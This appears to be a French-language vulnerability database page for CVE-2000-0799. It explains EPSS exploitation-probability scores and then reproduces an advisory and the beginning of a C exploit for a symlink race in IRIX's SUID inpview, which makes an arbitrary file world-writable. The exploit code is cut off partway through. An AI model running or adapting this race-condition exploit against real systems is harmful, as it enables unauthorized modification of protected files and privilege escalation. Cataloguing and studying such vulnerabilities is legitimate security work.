CVE-2000-0799 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/1530/info Certain versions of IRIX ship with a version of inpview that creates files in '/var/tmp/' in an insecure manner and is therefore prone to a race condition. InPerson's 'inpview' is a networked multimedia conferencing tool. InPerson provides multiway audio and video conferencing with a shared whiteboard, combined into a single, easy-to-use application. You use a separate "phone" tool to place and answer calls. The 'inpview' program writes out temporary files in the '/var/tmp' directory. Because these filenames are not random, an attacker can create a symlink to a previously created filename and force the SUID 'inpview' to overwrite the file with 'rw-rw-rw' permissions. */ /*## copyright LAST STAGE OF DELIRIUM jan 2000 poland *://lsd-pl.net/ #*/ /*## /usr/lib/InPerson/inpview #*/ /* sets rw-rw-rw permissions */ #include <sys/types.h> #include <dirent.h> #include <stdio.h> main(int argc,char **argv){ DIR *dirp;struct dirent *dentp; printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland //lsd-pl.net/\n"); printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n"); if(argc!=2){ printf("usage: %s file\n",argv[0]); exit(-1); } if(!fork()){ nice(-20);sleep(2);close(0);close(1);close(2); execle("/usr/lib/InPerson/inpview","lsd",0,0); } printf("looking for temporary file...
